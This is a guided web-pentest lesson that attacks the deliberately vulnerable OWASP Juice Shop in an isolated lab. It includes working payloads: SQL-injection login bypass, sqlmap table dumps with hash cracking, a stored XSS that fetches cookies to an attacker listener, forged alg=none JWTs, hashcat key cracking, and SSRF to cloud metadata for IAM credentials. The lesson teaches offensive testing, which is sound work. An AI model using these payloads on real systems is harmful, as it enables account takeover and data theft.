Pular para o conteúdo principal

OWASP Top 10 — Guided walkthrough

OWASP Juice Shop — the most modern deliberately vulnerable application, written in Angular + Node.js. We take it apart, five times in a row, across five different Top 10 categories. Each time: request, response, impact.

Isolated lab

Juice Shop runs on 10.10.10.50 in your host-only lab. No command in this lesson goes out to the Internet.

What you will be able to do after this lesson

  • Launch Juice Shop in Docker.
  • Exploit five vulnerabilities from different categories.
  • Write, for each one, a clear proof of impact.
  • Chain an IDOR + a weak JWT into a complete escalation scenario.

Step 0 — Launch Juice Shop

On a fresh Ubuntu VM in the lab, or on Kali:

docker run -d --name juice -p 3000:3000 bkimminich/juice-shop

From Kali: http://10.10.10.50:3000/ — the shop appears.

Configure Firefox to go through Burp Suite (127.0.0.1:8080). Create a normal user account (victime@test.local / Test123!), log in. Burp sees everything.

Create the evidence folder:

mkdir -p ~/labs/semaine-07/preuves

Step 1 — A01: IDOR on the shopping baskets

Observation: your basket has an ID basketId=6. Each user has their own basket.

Hypothesis: what if we change the ID?

In Burp HTTP history, find the request:

GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...

Send to Repeater. Change 6 to 1:

GET /rest/basket/1 HTTP/1.1

Response:

{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}

You see the admin's basket. UserId=1 = admin account.

Proof of impact:

Request:     GET /rest/basket/1 with a normal user token
Response: full basket content of user ID=1 (admin)
Consequence: any user can read any other user's basket.
On a real shop, this is equivalent to reading every customer's orders.

Save the request + the response in preuves/A01-idor-panier.md.


Step 2 — A03: SQL injection on the login

Observation: the login has an email field and a password field.

In Burp, intercept POST /rest/user/login:

{"email":"victime@test.local","password":"Test123!"}

Modify:

{"email":"' OR 1=1 --","password":"anything"}

Send it. Response:

{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}

You are admin. Authentication was bypassed: the request becomes SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' → returns the first row, usually admin.

Proof of impact:

Request:     POST /rest/user/login with a booby-trapped email
Result: valid JWT token for admin@juice-sh.op
Consequence: full application compromise via SQL injection
on the login email field.

Note the token for later:

export ADMIN_TOKEN="eyJ0eXAiOi..."

Save it in preuves/A03-sqli-login.md.


Step 3 — A03 (again): SQL injection with sqlmap

Let's find a more classic injection. Browse to http://10.10.10.50:3000/rest/products/search?q=apple. It's a search endpoint.

In Burp, capture the request:

GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000

Save it to a file:

# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000

Run sqlmap:

sqlmap -r preuves/req-search.txt --batch --level=3 --dbs

Typical output:

sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...

available databases [1]:
[*] SQLite_masterdb

Good, it's a SQLite. We list the tables:

sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+

Extract of 3 users:

sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+

Proof of impact:

Extraction limited to 3 rows (RoE respected).
Admin md5 hash: 0192023a7bbd73250516f069df18b500
→ Decoded in 3 seconds on https://crackstation.net → password "admin123"
Consequence: from a SQL injection on a public search endpoint,
extraction and cracking of the admin password in < 5 minutes.

Step 4 — A03: Stored XSS on the profile page

In your user account, go to Profile. You can change your username.

Test it:

<img src=x onerror="alert(document.cookie)">

Save. Reload the profile page. A pop-up shows your cookie.

Pop-up = POC. We want the impact. Let's replace it with a payload that exfiltrates:

<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">

On Kali, start a server:

python3 -m http.server 8000

Reload the page. The Kali terminal shows:

10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -

You have exfiltrated the JWT token of the visitor who loaded your profile. On a community page (feedback, forum), any administrator who came to read your message would send their token to your server.

Proof of impact:

Stored XSS in the username (payload: img onerror fetch).
The JWT token of any visitor (admin included) is exfiltrated to 10.10.10.5:8000.
Consequence: full identity takeover, admin included, as soon as a
moderator visits my profile page.

Save it in preuves/A03-xss-stockee.md.


Step 5 — A07: JWT with alg=none

Let's decode the admin JWT obtained in step 2 on jwt.io (or with jwt-cli locally):

Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>

alg=none attack: we replace HS256 with none in the header and drop the signature.

Manual construction:

import base64, json

header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}

def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

token = f"{b64(header)}.{b64(payload)}."
print(token)

Output:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...

Test it:

curl -H "Authorization: Bearer <forged-token>" http://10.10.10.50:3000/rest/user/whoami

Response:

{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}

On Juice Shop, this attack does not work (the library verifies), but it still works on many real APIs written with old JWT parsers.

Fallback that works on Juice Shop: we crack the HS256 key with Hashcat. Grab the token, extract the signature:

hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt

If the key is part of rockyou.txt (secret, admin, changeme...), you get the key in seconds. Then you forge a legitimately signed admin token.

Proof of impact:

Attack:      JWT signature guessed via dictionary (hashcat -m 16500).
Key found: "secret" (10 minutes)
Result: ability to forge any token for any user.
Consequence: permanent compromise until the signing key is rotated.

Step 6 — A10: SSRF on image import

Juice Shop has an upload endpoint that can load an image from a URL:

POST /api/User/  HTTP/1.1
Content-Type: application/json
{"picture":"http://<controlled-url>"}

Test it with the AWS metadata endpoint (even though Juice Shop is not on AWS, we simulate the principle):

{"picture":"http://169.254.169.254/latest/meta-data/"}

On a real vulnerable EC2 instance, the response would contain the metadata, including the IAM credentials.

For the local demo, let's start a test server on Kali:

python3 -m http.server 9000 > /tmp/reception.log &

Payload:

{"picture":"http://10.10.10.5:9000/secret.txt"}

Send it. Check /tmp/reception.log:

10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -

Proof: the application server did send a request to the IP you chose. That is the SSRF behavior.

Extended proof of impact (on a real cloud target):

Payload:  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Response: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → confirmation of the AWS account
aws iam list-attached-role-policies → full visibility of the permissions
Consequence: shift from an application-level SSRF to a cloud compromise.

Save it in preuves/A10-ssrf.md.


Step 7 — The chain: XSS → admin JWT theft → full takeover

Chain it all back together to show a real attack story:

  1. Stored XSS on my profile page (step 4).
  2. A moderator views my page.
  3. The moderator's JWT goes to my server (10.10.10.5:8000/steal?c=...).
  4. I copy that JWT into Authorization: Bearer ... in Burp.
  5. Every request I make now runs with the moderator's identity.
  6. I reach /rest/admin/users, /rest/products/create, etc.
  7. I change a product's price to $0.01, I build a basket, I place the order.

Two individual flaws (XSS + no MFA on the admin account) chained together = commercial compromise.

This story — not the isolated payloads — is what makes it into the final report.


Wrap-up

In 90 minutes, on Juice Shop:

  • A01 IDOR — reading the admin basket.
  • A03 SQLi login — full auth bypass.
  • A03 SQLi search — extraction of the Users table.
  • A03 stored XSS — JWT exfiltration.
  • A07 JWT — HMAC key cracking.
  • A10 SSRF — the server sends whatever I want.
  • Attack chain: XSS + admin session = commercial compromise.

That's five proofs of impact in one folder. It's the kind of content you put in a web pentest report.

Next lesson: your turn. You take DVWA or Juice Shop on a harder level, you drop at least 3 flaws from different categories, with a proof of impact for each one.